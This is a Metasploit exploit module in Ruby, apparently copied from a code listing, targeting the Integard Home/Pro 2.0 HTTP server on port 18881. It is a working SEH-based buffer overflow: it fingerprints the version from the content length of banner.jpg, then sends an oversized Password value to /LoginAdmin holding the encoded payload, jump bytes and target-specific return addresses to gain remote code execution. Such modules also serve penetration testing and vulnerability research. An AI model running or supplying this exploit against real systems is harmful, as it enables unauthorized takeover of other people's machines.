1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Integard Home/Pro version 2.0', 'Description'=> %q{ Exploit for Integard HTTP Server, vulnerability discovered by Lincoln }, 'Author'=> [ 'Lincoln', 'Nullthreat', 'rick2600', 'corelanc0d3r' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References'=> [ ['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 2000, 'BadChars'=> "\x00\x20\x26\x2f\x3d\x3f\x5c", 'StackAdjustment' => -1500, }, 'Platform' => 'win', 'Privileged' => false, 'Targets'=> [ [ 'Automatic Targeting',{ 'auto' => true }], [ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}], [ 'Integard Pro2.2.0.9026', { 'Ret' => 0x0040362C,}], ], 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(18881) ], self.class ) end def exploit mytarget = target continueattack=true if(target['auto']) mytarget = nil print_status("[*] Automatically detecting the target...") connect response = send_request_raw( {'uri' => '/banner.jpg', 'version' => '1.1', 'method' => 'GET' }, 5) contlength = response['Content-Length'] if (contlength == "24584") print_status("[!] Found Version - Integard Home") mytarget = self.targets[1] elsif (contlength == "23196") print_status("[!] Found Version - Integard Pro") mytarget = self.targets[2] else print_status("[-] Unknown Version") continueattack=false end disconnect end if continueattack print_status("[!] Selected Target: #{mytarget.name}") print_status("[*] Building Buffer") pay = payload.encoded junk = rand_text_alpha_upper(3091 - pay.length) jmp = "\xE9\x2B\xF8\xFF\xFF" nseh = "\xEB\xF9\x90\x90" seh = [mytarget.ret].pack('V') buffer = junk + pay + jmp + nseh + seh print_status("[*] Sending Request") post_data = "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login" req = "/LoginAdmin" connect send_request_raw({ 'uri' => req, 'version' => '1.1', 'method' => 'POST', 'headers' => { 'Host' => '192.168.1.1:18881', 'Content-Length' => 1074 }, 'data' => post_data }, 5) print_status("[*] Request Sent") handler end end end |